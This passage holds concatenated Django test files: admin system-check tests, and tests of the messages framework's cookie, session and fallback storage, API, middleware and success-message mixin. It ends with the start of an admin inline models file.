                "The value of 'readonly_fields[1]' is not a callable, an attribute "
                "of 'SongAdmin', or an attribute of 'admin_checks.Song'.",
                obj=SongAdmin,
                id='admin.E035',
            )
        ]
        self.assertEqual(errors, expected)

    def test_nonexistent_field_on_inline(self):
        class CityInline(admin.TabularInline):
            model = City
            readonly_fields = ['i_dont_exist']  # Missing attribute

        errors = CityInline(State, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'readonly_fields[0]' is not a callable, an attribute "
                "of 'CityInline', or an attribute of 'admin_checks.City'.",
                obj=CityInline,
                id='admin.E035',
            )
        ]
        self.assertEqual(errors, expected)

    def test_extra(self):
        class SongAdmin(admin.ModelAdmin):
            def awesome_song(self, instance):
                if instance.title == "Born to Run":
                    return "Best Ever!"
                return "Status unknown."

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_readonly_lambda(self):
        class SongAdmin(admin.ModelAdmin):
            readonly_fields = (lambda obj: "test",)

        errors = SongAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_graceful_m2m_fail(self):
        """
        Regression test for #12203/#12237 - Fail more gracefully when a M2M field that
        specifies the 'through' option is included in the 'fields' or the 'fieldsets'
        ModelAdmin options.
        """
        class BookAdmin(admin.ModelAdmin):
            fields = ['authors']

        errors = BookAdmin(Book, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'fields' cannot include the ManyToManyField 'authors', "
                "because that field manually specifies a relationship model.",
                obj=BookAdmin,
                id='admin.E013',
            )
        ]
        self.assertEqual(errors, expected)

    def test_cannot_include_through(self):
        class FieldsetBookAdmin(admin.ModelAdmin):
            fieldsets = (
                ('Header 1', {'fields': ('name',)}),
                ('Header 2', {'fields': ('authors',)}),
            )

        errors = FieldsetBookAdmin(Book, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'fieldsets[1][1][\"fields\"]' cannot include the ManyToManyField "
                "'authors', because that field manually specifies a relationship model.",
                obj=FieldsetBookAdmin,
                id='admin.E013',
            )
        ]
        self.assertEqual(errors, expected)

    def test_nested_fields(self):
        class NestedFieldsAdmin(admin.ModelAdmin):
            fields = ('price', ('name', 'subtitle'))

        errors = NestedFieldsAdmin(Book, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_nested_fieldsets(self):
        class NestedFieldsetAdmin(admin.ModelAdmin):
            fieldsets = (
                ('Main', {'fields': ('price', ('name', 'subtitle'))}),
            )

        errors = NestedFieldsetAdmin(Book, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_explicit_through_override(self):
        """
        Regression test for #12209 -- If the explicitly provided through model
        is specified as a string, the admin should still be able use
        Model.m2m_field.through
        """
        class AuthorsInline(admin.TabularInline):
            model = Book.authors.through

        class BookAdmin(admin.ModelAdmin):
            inlines = [AuthorsInline]

        errors = BookAdmin(Book, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_non_model_fields(self):
        """
        Regression for ensuring ModelAdmin.fields can contain non-model fields
        that broke with r11737
        """
        class SongForm(forms.ModelForm):
            extra_data = forms.CharField()

        class FieldsOnFormOnlyAdmin(admin.ModelAdmin):
            form = SongForm
            fields = ['title', 'extra_data']

        errors = FieldsOnFormOnlyAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_non_model_first_field(self):
        """
        Regression for ensuring ModelAdmin.field can handle first elem being a
        non-model field (test fix for UnboundLocalError introduced with r16225).
        """
        class SongForm(forms.ModelForm):
            extra_data = forms.CharField()

            class Meta:
                model = Song
                fields = '__all__'

        class FieldsOnFormOnlyAdmin(admin.ModelAdmin):
            form = SongForm
            fields = ['extra_data', 'title']

        errors = FieldsOnFormOnlyAdmin(Song, AdminSite()).check()
        self.assertEqual(errors, [])

    def test_check_sublists_for_duplicates(self):
        class MyModelAdmin(admin.ModelAdmin):
            fields = ['state', ['state']]

        errors = MyModelAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "The value of 'fields' contains duplicate field(s).",
                obj=MyModelAdmin,
                id='admin.E006'
            )
        ]
        self.assertEqual(errors, expected)

    def test_check_fieldset_sublists_for_duplicates(self):
        class MyModelAdmin(admin.ModelAdmin):
            fieldsets = [
                (None, {
                    'fields': ['title', 'album', ('title', 'album')]
                }),
            ]

        errors = MyModelAdmin(Song, AdminSite()).check()
        expected = [
            checks.Error(
                "There are duplicate field(s) in 'fieldsets[0][1]'.",
                obj=MyModelAdmin,
                id='admin.E012'
            )
        ]
        self.assertEqual(errors, expected)

    def test_list_filter_works_on_through_field_even_when_apps_not_ready(self):
        """
        Ensure list_filter can access reverse fields even when the app registry
        is not ready; refs #24146.
        """
        class BookAdminWithListFilter(admin.ModelAdmin):
            list_filter = ['authorsbooks__featured']

        # Temporarily pretending apps are not ready yet. This issue can happen
        # if the value of 'list_filter' refers to a 'through__field'.
        Book._meta.apps.ready = False
        try:
            errors = BookAdminWithListFilter(Book, AdminSite()).check()
            self.assertEqual(errors, [])
        finally:
            Book._meta.apps.ready = True






from django import forms
from django.conf.urls import url
from django.contrib import messages
from django.contrib.messages.views import SuccessMessageMixin
from django.http import HttpResponse, HttpResponseRedirect
from django.template import engines
from django.template.response import TemplateResponse
from django.urls import reverse
from django.views.decorators.cache import never_cache
from django.views.generic.edit import FormView


TEMPLATE = """{% if messages %}
<ul class="messages">
    {% for message in messages %}
    <li{% if message.tags %} class="{{ message.tags }}"{% endif %}>
        {{ message }}
    </li>
    {% endfor %}
</ul>
{% endif %}
"""


@never_cache
def add(request, message_type):
    # don't default to False here, because we want to test that it defaults
    # to False if unspecified
    fail_silently = request.POST.get('fail_silently', None)
    for msg in request.POST.getlist('messages'):
        if fail_silently is not None:
            getattr(messages, message_type)(request, msg,
                                            fail_silently=fail_silently)
        else:
            getattr(messages, message_type)(request, msg)

    show_url = reverse('show_message')
    return HttpResponseRedirect(show_url)


@never_cache
def add_template_response(request, message_type):
    for msg in request.POST.getlist('messages'):
        getattr(messages, message_type)(request, msg)

    show_url = reverse('show_template_response')
    return HttpResponseRedirect(show_url)


@never_cache
def show(request):
    template = engines['django'].from_string(TEMPLATE)
    return HttpResponse(template.render(request=request))


@never_cache
def show_template_response(request):
    template = engines['django'].from_string(TEMPLATE)
    return TemplateResponse(request, template)


class ContactForm(forms.Form):
    name = forms.CharField(required=True)
    slug = forms.SlugField(required=True)


class ContactFormViewWithMsg(SuccessMessageMixin, FormView):
    form_class = ContactForm
    success_url = show
    success_message = "%(name)s was created successfully"


urlpatterns = [
    url('^add/(debug|info|success|warning|error)/$', add, name='add_message'),
    url('^add/msg/$', ContactFormViewWithMsg.as_view(), name='add_success_msg'),
    url('^show/$', show, name='show_message'),
    url('^template_response/add/(debug|info|success|warning|error)/$',
        add_template_response, name='add_template_response'),
    url('^template_response/show/$', show_template_response, name='show_template_response'),
]






from django import http
from django.contrib.messages import constants, get_level, set_level, utils
from django.contrib.messages.api import MessageFailure
from django.contrib.messages.constants import DEFAULT_LEVELS
from django.contrib.messages.storage import base, default_storage
from django.contrib.messages.storage.base import Message
from django.test import modify_settings, override_settings
from django.urls import reverse
from django.utils.translation import ugettext_lazy


def add_level_messages(storage):
    """
    Adds 6 messages from different levels (including a custom one) to a storage
    instance.
    """
    storage.add(constants.INFO, 'A generic info message')
    storage.add(29, 'Some custom level')
    storage.add(constants.DEBUG, 'A debugging message', extra_tags='extra-tag')
    storage.add(constants.WARNING, 'A warning')
    storage.add(constants.ERROR, 'An error')
    storage.add(constants.SUCCESS, 'This was a triumph.')


class override_settings_tags(override_settings):
    def enable(self):
        super(override_settings_tags, self).enable()
        # LEVEL_TAGS is a constant defined in the
        # django.contrib.messages.storage.base module, so after changing
        # settings.MESSAGE_TAGS, we need to update that constant too.
        self.old_level_tags = base.LEVEL_TAGS
        base.LEVEL_TAGS = utils.get_level_tags()

    def disable(self):
        super(override_settings_tags, self).disable()
        base.LEVEL_TAGS = self.old_level_tags


class BaseTests(object):
    storage_class = default_storage
    levels = {
        'debug': constants.DEBUG,
        'info': constants.INFO,
        'success': constants.SUCCESS,
        'warning': constants.WARNING,
        'error': constants.ERROR,
    }

    def setUp(self):
        self.settings_override = override_settings_tags(
            TEMPLATES=[{
                'BACKEND': 'django.template.backends.django.DjangoTemplates',
                'DIRS': [],
                'APP_DIRS': True,
                'OPTIONS': {
                    'context_processors': (
                        'django.contrib.auth.context_processors.auth',
                        'django.contrib.messages.context_processors.messages',
                    ),
                },
            }],
            ROOT_URLCONF='messages_tests.urls',
            MESSAGE_TAGS='',
            MESSAGE_STORAGE='%s.%s' % (self.storage_class.__module__,
                                       self.storage_class.__name__),
            SESSION_SERIALIZER='django.contrib.sessions.serializers.JSONSerializer',
        )
        self.settings_override.enable()

    def tearDown(self):
        self.settings_override.disable()

    def get_request(self):
        return http.HttpRequest()

    def get_response(self):
        return http.HttpResponse()

    def get_storage(self, data=None):
        """
        Returns the storage backend, setting its loaded data to the ``data``
        argument.

        This method avoids the storage ``_get`` method from getting called so
        that other parts of the storage backend can be tested independent of
        the message retrieval logic.
        """
        storage = self.storage_class(self.get_request())
        storage._loaded_data = data or []
        return storage

    def test_add(self):
        storage = self.get_storage()
        self.assertFalse(storage.added_new)
        storage.add(constants.INFO, 'Test message 1')
        self.assertTrue(storage.added_new)
        storage.add(constants.INFO, 'Test message 2', extra_tags='tag')
        self.assertEqual(len(storage), 2)

    def test_add_lazy_translation(self):
        storage = self.get_storage()
        response = self.get_response()

        storage.add(constants.INFO, ugettext_lazy('lazy message'))
        storage.update(response)

        storing = self.stored_messages_count(storage, response)
        self.assertEqual(storing, 1)

    def test_no_update(self):
        storage = self.get_storage()
        response = self.get_response()
        storage.update(response)
        storing = self.stored_messages_count(storage, response)
        self.assertEqual(storing, 0)

    def test_add_update(self):
        storage = self.get_storage()
        response = self.get_response()

        storage.add(constants.INFO, 'Test message 1')
        storage.add(constants.INFO, 'Test message 1', extra_tags='tag')
        storage.update(response)

        storing = self.stored_messages_count(storage, response)
        self.assertEqual(storing, 2)

    def test_existing_add_read_update(self):
        storage = self.get_existing_storage()
        response = self.get_response()

        storage.add(constants.INFO, 'Test message 3')
        list(storage)   # Simulates a read
        storage.update(response)

        storing = self.stored_messages_count(storage, response)
        self.assertEqual(storing, 0)

    def test_existing_read_add_update(self):
        storage = self.get_existing_storage()
        response = self.get_response()

        list(storage)   # Simulates a read
        storage.add(constants.INFO, 'Test message 3')
        storage.update(response)

        storing = self.stored_messages_count(storage, response)
        self.assertEqual(storing, 1)

    @override_settings(MESSAGE_LEVEL=constants.DEBUG)
    def test_full_request_response_cycle(self):
        """
        With the message middleware enabled, tests that messages are properly
        stored and then retrieved across the full request/redirect/response
        cycle.
        """
        data = {
            'messages': ['Test message %d' % x for x in range(5)],
        }
        show_url = reverse('show_message')
        for level in ('debug', 'info', 'success', 'warning', 'error'):
            add_url = reverse('add_message', args=(level,))
            response = self.client.post(add_url, data, follow=True)
            self.assertRedirects(response, show_url)
            self.assertIn('messages', response.context)
            messages = [Message(self.levels[level], msg) for msg in data['messages']]
            self.assertEqual(list(response.context['messages']), messages)
            for msg in data['messages']:
                self.assertContains(response, msg)

    @override_settings(MESSAGE_LEVEL=constants.DEBUG)
    def test_with_template_response(self):
        data = {
            'messages': ['Test message %d' % x for x in range(5)],
        }
        show_url = reverse('show_template_response')
        for level in self.levels.keys():
            add_url = reverse('add_template_response', args=(level,))
            response = self.client.post(add_url, data, follow=True)
            self.assertRedirects(response, show_url)
            self.assertIn('messages', response.context)
            for msg in data['messages']:
                self.assertContains(response, msg)

            # there shouldn't be any messages on second GET request
            response = self.client.get(show_url)
            for msg in data['messages']:
                self.assertNotContains(response, msg)

    def test_context_processor_message_levels(self):
        show_url = reverse('show_template_response')
        response = self.client.get(show_url)

        self.assertIn('DEFAULT_MESSAGE_LEVELS', response.context)
        self.assertEqual(response.context['DEFAULT_MESSAGE_LEVELS'], DEFAULT_LEVELS)

    @override_settings(MESSAGE_LEVEL=constants.DEBUG)
    def test_multiple_posts(self):
        """
        Tests that messages persist properly when multiple POSTs are made
        before a GET.
        """
        data = {
            'messages': ['Test message %d' % x for x in range(5)],
        }
        show_url = reverse('show_message')
        messages = []
        for level in ('debug', 'info', 'success', 'warning', 'error'):
            messages.extend(Message(self.levels[level], msg) for msg in data['messages'])
            add_url = reverse('add_message', args=(level,))
            self.client.post(add_url, data)
        response = self.client.get(show_url)
        self.assertIn('messages', response.context)
        self.assertEqual(list(response.context['messages']), messages)
        for msg in data['messages']:
            self.assertContains(response, msg)

    @modify_settings(
        INSTALLED_APPS={'remove': 'django.contrib.messages'},
        MIDDLEWARE={'remove': 'django.contrib.messages.middleware.MessageMiddleware'},
    )
    @override_settings(
        MESSAGE_LEVEL=constants.DEBUG,
        TEMPLATES=[{
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'DIRS': [],
            'APP_DIRS': True,
        }],
    )
    def test_middleware_disabled(self):
        """
        Tests that, when the middleware is disabled, an exception is raised
        when one attempts to store a message.
        """
        data = {
            'messages': ['Test message %d' % x for x in range(5)],
        }
        reverse('show_message')
        for level in ('debug', 'info', 'success', 'warning', 'error'):
            add_url = reverse('add_message', args=(level,))
            with self.assertRaises(MessageFailure):
                self.client.post(add_url, data, follow=True)

    @modify_settings(
        INSTALLED_APPS={'remove': 'django.contrib.messages'},
        MIDDLEWARE={'remove': 'django.contrib.messages.middleware.MessageMiddleware'},
    )
    @override_settings(
        TEMPLATES=[{
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'DIRS': [],
            'APP_DIRS': True,
        }],
    )
    def test_middleware_disabled_fail_silently(self):
        """
        Tests that, when the middleware is disabled, an exception is not
        raised if 'fail_silently' = True
        """
        data = {
            'messages': ['Test message %d' % x for x in range(5)],
            'fail_silently': True,
        }
        show_url = reverse('show_message')
        for level in ('debug', 'info', 'success', 'warning', 'error'):
            add_url = reverse('add_message', args=(level,))
            response = self.client.post(add_url, data, follow=True)
            self.assertRedirects(response, show_url)
            self.assertNotIn('messages', response.context)

    def stored_messages_count(self, storage, response):
        """
        Returns the number of messages being stored after a
        ``storage.update()`` call.
        """
        raise NotImplementedError('This method must be set by a subclass.')

    def test_get(self):
        raise NotImplementedError('This method must be set by a subclass.')

    def get_existing_storage(self):
        return self.get_storage([Message(constants.INFO, 'Test message 1'),
                                 Message(constants.INFO, 'Test message 2',
                                 extra_tags='tag')])

    def test_existing_read(self):
        """
        Tests that reading the existing storage doesn't cause the data to be
        lost.
        """
        storage = self.get_existing_storage()
        self.assertFalse(storage.used)
        # After iterating the storage engine directly, the used flag is set.
        data = list(storage)
        self.assertTrue(storage.used)
        # The data does not disappear because it has been iterated.
        self.assertEqual(data, list(storage))

    def test_existing_add(self):
        storage = self.get_existing_storage()
        self.assertFalse(storage.added_new)
        storage.add(constants.INFO, 'Test message 3')
        self.assertTrue(storage.added_new)

    def test_default_level(self):
        # get_level works even with no storage on the request.
        request = self.get_request()
        self.assertEqual(get_level(request), constants.INFO)

        # get_level returns the default level if it hasn't been set.
        storage = self.get_storage()
        request._messages = storage
        self.assertEqual(get_level(request), constants.INFO)

        # Only messages of sufficient level get recorded.
        add_level_messages(storage)
        self.assertEqual(len(storage), 5)

    def test_low_level(self):
        request = self.get_request()
        storage = self.storage_class(request)
        request._messages = storage

        self.assertTrue(set_level(request, 5))
        self.assertEqual(get_level(request), 5)

        add_level_messages(storage)
        self.assertEqual(len(storage), 6)

    def test_high_level(self):
        request = self.get_request()
        storage = self.storage_class(request)
        request._messages = storage

        self.assertTrue(set_level(request, 30))
        self.assertEqual(get_level(request), 30)

        add_level_messages(storage)
        self.assertEqual(len(storage), 2)

    @override_settings(MESSAGE_LEVEL=29)
    def test_settings_level(self):
        request = self.get_request()
        storage = self.storage_class(request)

        self.assertEqual(get_level(request), 29)

        add_level_messages(storage)
        self.assertEqual(len(storage), 3)

    def test_tags(self):
        storage = self.get_storage()
        storage.level = 0
        add_level_messages(storage)
        tags = [msg.tags for msg in storage]
        self.assertEqual(tags, ['info', '', 'extra-tag debug', 'warning', 'error', 'success'])

    def test_level_tag(self):
        storage = self.get_storage()
        storage.level = 0
        add_level_messages(storage)
        tags = [msg.level_tag for msg in storage]
        self.assertEqual(tags, ['info', '', 'debug', 'warning', 'error', 'success'])

    @override_settings_tags(MESSAGE_TAGS={
        constants.INFO: 'info',
        constants.DEBUG: '',
        constants.WARNING: '',
        constants.ERROR: 'bad',
        29: 'custom',
    }
    )
    def test_custom_tags(self):
        storage = self.get_storage()
        storage.level = 0
        add_level_messages(storage)
        tags = [msg.tags for msg in storage]
        self.assertEqual(tags, ['info', 'custom', 'extra-tag', '', 'bad', 'success'])






from django.test import SimpleTestCase, override_settings
from django.urls import reverse

from .urls import ContactFormViewWithMsg


@override_settings(ROOT_URLCONF='messages_tests.urls')
class SuccessMessageMixinTests(SimpleTestCase):

    def test_set_messages_success(self):
        author = {'name': 'John Doe',
                  'slug': 'success-msg'}
        add_url = reverse('add_success_msg')
        req = self.client.post(add_url, author)
        self.assertIn(ContactFormViewWithMsg.success_message % author,
                      req.cookies['messages'].value)






import unittest

from django import http
from django.contrib.messages.middleware import MessageMiddleware


class MiddlewareTest(unittest.TestCase):

    def setUp(self):
        self.middleware = MessageMiddleware()

    def test_response_without_messages(self):
        """
        Makes sure that the response middleware is tolerant of messages not
        existing on request.
        """
        request = http.HttpRequest()
        response = http.HttpResponse()
        self.middleware.process_response(request, response)






import json

from django.contrib.messages import constants
from django.contrib.messages.storage.base import Message
from django.contrib.messages.storage.cookie import (
    CookieStorage, MessageDecoder, MessageEncoder,
)
from django.test import SimpleTestCase, override_settings
from django.utils.safestring import SafeData, mark_safe

from .base import BaseTests


def set_cookie_data(storage, messages, invalid=False, encode_empty=False):
    """
    Sets ``request.COOKIES`` with the encoded data and removes the storage
    backend's loaded data cache.
    """
    encoded_data = storage._encode(messages, encode_empty=encode_empty)
    if invalid:
        # Truncate the first character so that the hash is invalid.
        encoded_data = encoded_data[1:]
    storage.request.COOKIES = {CookieStorage.cookie_name: encoded_data}
    if hasattr(storage, '_loaded_data'):
        del storage._loaded_data


def stored_cookie_messages_count(storage, response):
    """
    Returns an integer containing the number of messages stored.
    """
    # Get a list of cookies, excluding ones with a max-age of 0 (because
    # they have been marked for deletion).
    cookie = response.cookies.get(storage.cookie_name)
    if not cookie or cookie['max-age'] == 0:
        return 0
    data = storage._decode(cookie.value)
    if not data:
        return 0
    if data[-1] == CookieStorage.not_finished:
        data.pop()
    return len(data)


@override_settings(SESSION_COOKIE_DOMAIN='.example.com', SESSION_COOKIE_SECURE=True, SESSION_COOKIE_HTTPONLY=True)
class CookieTest(BaseTests, SimpleTestCase):
    storage_class = CookieStorage

    def stored_messages_count(self, storage, response):
        return stored_cookie_messages_count(storage, response)

    def test_get(self):
        storage = self.storage_class(self.get_request())
        # Set initial data.
        example_messages = ['test', 'me']
        set_cookie_data(storage, example_messages)
        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), example_messages)

    def test_cookie_setings(self):
        """
        Ensure that CookieStorage honors SESSION_COOKIE_DOMAIN, SESSION_COOKIE_SECURE and SESSION_COOKIE_HTTPONLY
        Refs #15618 and #20972.
        """
        # Test before the messages have been consumed
        storage = self.get_storage()
        response = self.get_response()
        storage.add(constants.INFO, 'test')
        storage.update(response)
        self.assertIn('test', response.cookies['messages'].value)
        self.assertEqual(response.cookies['messages']['domain'], '.example.com')
        self.assertEqual(response.cookies['messages']['expires'], '')
        self.assertIs(response.cookies['messages']['secure'], True)
        self.assertIs(response.cookies['messages']['httponly'], True)

        # Test deletion of the cookie (storing with an empty value) after the messages have been consumed
        storage = self.get_storage()
        response = self.get_response()
        storage.add(constants.INFO, 'test')
        for m in storage:
            pass  # Iterate through the storage to simulate consumption of messages.
        storage.update(response)
        self.assertEqual(response.cookies['messages'].value, '')
        self.assertEqual(response.cookies['messages']['domain'], '.example.com')
        self.assertEqual(response.cookies['messages']['expires'], 'Thu, 01-Jan-1970 00:00:00 GMT')

    def test_get_bad_cookie(self):
        request = self.get_request()
        storage = self.storage_class(request)
        # Set initial (invalid) data.
        example_messages = ['test', 'me']
        set_cookie_data(storage, example_messages, invalid=True)
        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), [])

    def test_max_cookie_length(self):
        """
        Tests that, if the data exceeds what is allowed in a cookie, older
        messages are removed before saving (and returned by the ``update``
        method).
        """
        storage = self.get_storage()
        response = self.get_response()

        # When storing as a cookie, the cookie has constant overhead of approx
        # 54 chars, and each message has a constant overhead of about 37 chars
        # and a variable overhead of zero in the best case. We aim for a message
        # size which will fit 4 messages into the cookie, but not 5.
        # See also FallbackTest.test_session_fallback
        msg_size = int((CookieStorage.max_cookie_size - 54) / 4.5 - 37)
        for i in range(5):
            storage.add(constants.INFO, str(i) * msg_size)
        unstored_messages = storage.update(response)

        cookie_storing = self.stored_messages_count(storage, response)
        self.assertEqual(cookie_storing, 4)

        self.assertEqual(len(unstored_messages), 1)
        self.assertEqual(unstored_messages[0].message, '0' * msg_size)

    def test_json_encoder_decoder(self):
        """
        Tests that a complex nested data structure containing Message
        instances is properly encoded/decoded by the custom JSON
        encoder/decoder classes.
        """
        messages = [
            {
                'message': Message(constants.INFO, 'Test message'),
                'message_list': [
                    Message(constants.INFO, 'message %s') for x in range(5)
                ] + [{'another-message': Message(constants.ERROR, 'error')}],
            },
            Message(constants.INFO, 'message %s'),
        ]
        encoder = MessageEncoder(separators=(',', ':'))
        value = encoder.encode(messages)
        decoded_messages = json.loads(value, cls=MessageDecoder)
        self.assertEqual(messages, decoded_messages)

    def test_safedata(self):
        """
        Tests that a message containing SafeData is keeping its safe status when
        retrieved from the message storage.
        """
        def encode_decode(data):
            message = Message(constants.DEBUG, data)
            encoded = storage._encode(message)
            decoded = storage._decode(encoded)
            return decoded.message

        storage = self.get_storage()

        self.assertIsInstance(
            encode_decode(mark_safe("<b>Hello Django!</b>")), SafeData)
        self.assertNotIsInstance(
            encode_decode("<b>Hello Django!</b>"), SafeData)

    def test_pre_1_5_message_format(self):
        """
        For ticket #22426. Tests whether messages that were set in the cookie
        before the addition of is_safedata are decoded correctly.
        """

        # Encode the messages using the current encoder.
        messages = [Message(constants.INFO, 'message %s') for x in range(5)]
        encoder = MessageEncoder(separators=(',', ':'))
        encoded_messages = encoder.encode(messages)

        # Remove the is_safedata flag from the messages in order to imitate
        # the behavior of before 1.5 (monkey patching).
        encoded_messages = json.loads(encoded_messages)
        for obj in encoded_messages:
            obj.pop(1)
        encoded_messages = json.dumps(encoded_messages, separators=(',', ':'))

        # Decode the messages in the old format (without is_safedata)
        decoded_messages = json.loads(encoded_messages, cls=MessageDecoder)
        self.assertEqual(messages, decoded_messages)












from django.contrib import messages
from django.test import RequestFactory, SimpleTestCase


class DummyStorage(object):
    """
    dummy message-store to test the api methods
    """

    def __init__(self):
        self.store = []

    def add(self, level, message, extra_tags=''):
        self.store.append(message)


class ApiTest(SimpleTestCase):
    def setUp(self):
        self.rf = RequestFactory()
        self.request = self.rf.request()
        self.storage = DummyStorage()

    def test_ok(self):
        msg = 'some message'

        self.request._messages = self.storage
        messages.add_message(self.request, messages.DEBUG, msg)
        self.assertIn(msg, self.storage.store)

    def test_request_is_none(self):
        msg = 'some message'

        self.request._messages = self.storage

        with self.assertRaises(TypeError):
            messages.add_message(None, messages.DEBUG, msg)

        self.assertEqual([], self.storage.store)

    def test_middleware_missing(self):
        msg = 'some message'

        with self.assertRaises(messages.MessageFailure):
            messages.add_message(self.request, messages.DEBUG, msg)

        self.assertEqual([], self.storage.store)

    def test_middleware_missing_silently(self):
        msg = 'some message'

        messages.add_message(self.request, messages.DEBUG, msg,
                             fail_silently=True)

        self.assertEqual([], self.storage.store)






from django.contrib.messages import constants
from django.contrib.messages.storage.fallback import (
    CookieStorage, FallbackStorage,
)
from django.test import SimpleTestCase

from .base import BaseTests
from .test_cookie import set_cookie_data, stored_cookie_messages_count
from .test_session import set_session_data, stored_session_messages_count


class FallbackTest(BaseTests, SimpleTestCase):
    storage_class = FallbackStorage

    def get_request(self):
        self.session = {}
        request = super(FallbackTest, self).get_request()
        request.session = self.session
        return request

    def get_cookie_storage(self, storage):
        return storage.storages[-2]

    def get_session_storage(self, storage):
        return storage.storages[-1]

    def stored_cookie_messages_count(self, storage, response):
        return stored_cookie_messages_count(self.get_cookie_storage(storage),
                                            response)

    def stored_session_messages_count(self, storage, response):
        return stored_session_messages_count(self.get_session_storage(storage))

    def stored_messages_count(self, storage, response):
        """
        Return the storage totals from both cookie and session backends.
        """
        total = (self.stored_cookie_messages_count(storage, response) +
                 self.stored_session_messages_count(storage, response))
        return total

    def test_get(self):
        request = self.get_request()
        storage = self.storage_class(request)
        cookie_storage = self.get_cookie_storage(storage)

        # Set initial cookie data.
        example_messages = [str(i) for i in range(5)]
        set_cookie_data(cookie_storage, example_messages)

        # Overwrite the _get method of the fallback storage to prove it is not
        # used (it would cause a TypeError: 'NoneType' object is not callable).
        self.get_session_storage(storage)._get = None

        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), example_messages)

    def test_get_empty(self):
        request = self.get_request()
        storage = self.storage_class(request)

        # Overwrite the _get method of the fallback storage to prove it is not
        # used (it would cause a TypeError: 'NoneType' object is not callable).
        self.get_session_storage(storage)._get = None

        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), [])

    def test_get_fallback(self):
        request = self.get_request()
        storage = self.storage_class(request)
        cookie_storage = self.get_cookie_storage(storage)
        session_storage = self.get_session_storage(storage)

        # Set initial cookie and session data.
        example_messages = [str(i) for i in range(5)]
        set_cookie_data(cookie_storage, example_messages[:4] +
                        [CookieStorage.not_finished])
        set_session_data(session_storage, example_messages[4:])

        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), example_messages)

    def test_get_fallback_only(self):
        request = self.get_request()
        storage = self.storage_class(request)
        cookie_storage = self.get_cookie_storage(storage)
        session_storage = self.get_session_storage(storage)

        # Set initial cookie and session data.
        example_messages = [str(i) for i in range(5)]
        set_cookie_data(cookie_storage, [CookieStorage.not_finished],
                        encode_empty=True)
        set_session_data(session_storage, example_messages)

        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), example_messages)

    def test_flush_used_backends(self):
        request = self.get_request()
        storage = self.storage_class(request)
        cookie_storage = self.get_cookie_storage(storage)
        session_storage = self.get_session_storage(storage)

        # Set initial cookie and session data.
        set_cookie_data(cookie_storage, ['cookie', CookieStorage.not_finished])
        set_session_data(session_storage, ['session'])

        # When updating, previously used but no longer needed backends are
        # flushed.
        response = self.get_response()
        list(storage)
        storage.update(response)
        session_storing = self.stored_session_messages_count(storage, response)
        self.assertEqual(session_storing, 0)

    def test_no_fallback(self):
        """
        Confirms that:

        (1) A short number of messages whose data size doesn't exceed what is
        allowed in a cookie will all be stored in the CookieBackend.

        (2) If the CookieBackend can store all messages, the SessionBackend
        won't be written to at all.
        """
        storage = self.get_storage()
        response = self.get_response()

        # Overwrite the _store method of the fallback storage to prove it isn't
        # used (it would cause a TypeError: 'NoneType' object is not callable).
        self.get_session_storage(storage)._store = None

        for i in range(5):
            storage.add(constants.INFO, str(i) * 100)
        storage.update(response)

        cookie_storing = self.stored_cookie_messages_count(storage, response)
        self.assertEqual(cookie_storing, 5)
        session_storing = self.stored_session_messages_count(storage, response)
        self.assertEqual(session_storing, 0)

    def test_session_fallback(self):
        """
        Confirms that, if the data exceeds what is allowed in a cookie,
        messages which did not fit are stored in the SessionBackend.
        """
        storage = self.get_storage()
        response = self.get_response()

        # see comment in CookieText.test_cookie_max_length
        msg_size = int((CookieStorage.max_cookie_size - 54) / 4.5 - 37)
        for i in range(5):
            storage.add(constants.INFO, str(i) * msg_size)
        storage.update(response)

        cookie_storing = self.stored_cookie_messages_count(storage, response)
        self.assertEqual(cookie_storing, 4)
        session_storing = self.stored_session_messages_count(storage, response)
        self.assertEqual(session_storing, 1)

    def test_session_fallback_only(self):
        """
        Confirms that large messages, none of which fit in a cookie, are stored
        in the SessionBackend (and nothing is stored in the CookieBackend).
        """
        storage = self.get_storage()
        response = self.get_response()

        storage.add(constants.INFO, 'x' * 5000)
        storage.update(response)

        cookie_storing = self.stored_cookie_messages_count(storage, response)
        self.assertEqual(cookie_storing, 0)
        session_storing = self.stored_session_messages_count(storage, response)
        self.assertEqual(session_storing, 1)






from django.contrib.messages import constants
from django.contrib.messages.storage.base import Message
from django.contrib.messages.storage.session import SessionStorage
from django.test import TestCase
from django.utils.safestring import SafeData, mark_safe

from .base import BaseTests


def set_session_data(storage, messages):
    """
    Sets the messages into the backend request's session and remove the
    backend's loaded data cache.
    """
    storage.request.session[storage.session_key] = storage.serialize_messages(messages)
    if hasattr(storage, '_loaded_data'):
        del storage._loaded_data


def stored_session_messages_count(storage):
    data = storage.deserialize_messages(storage.request.session.get(storage.session_key, []))
    return len(data)


class SessionTest(BaseTests, TestCase):
    storage_class = SessionStorage

    def get_request(self):
        self.session = {}
        request = super(SessionTest, self).get_request()
        request.session = self.session
        return request

    def stored_messages_count(self, storage, response):
        return stored_session_messages_count(storage)

    def test_get(self):
        storage = self.storage_class(self.get_request())
        # Set initial data.
        example_messages = ['test', 'me']
        set_session_data(storage, example_messages)
        # Test that the message actually contains what we expect.
        self.assertEqual(list(storage), example_messages)

    def test_safedata(self):
        """
        Tests that a message containing SafeData is keeping its safe status when
        retrieved from the message storage.
        """
        storage = self.get_storage()

        message = Message(constants.DEBUG, mark_safe("<b>Hello Django!</b>"))
        set_session_data(storage, [message])
        self.assertIsInstance(list(storage)[0].message, SafeData)






"""
Testing of admin inline formsets.

"""
from __future__ import unicode_literals

import random

from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


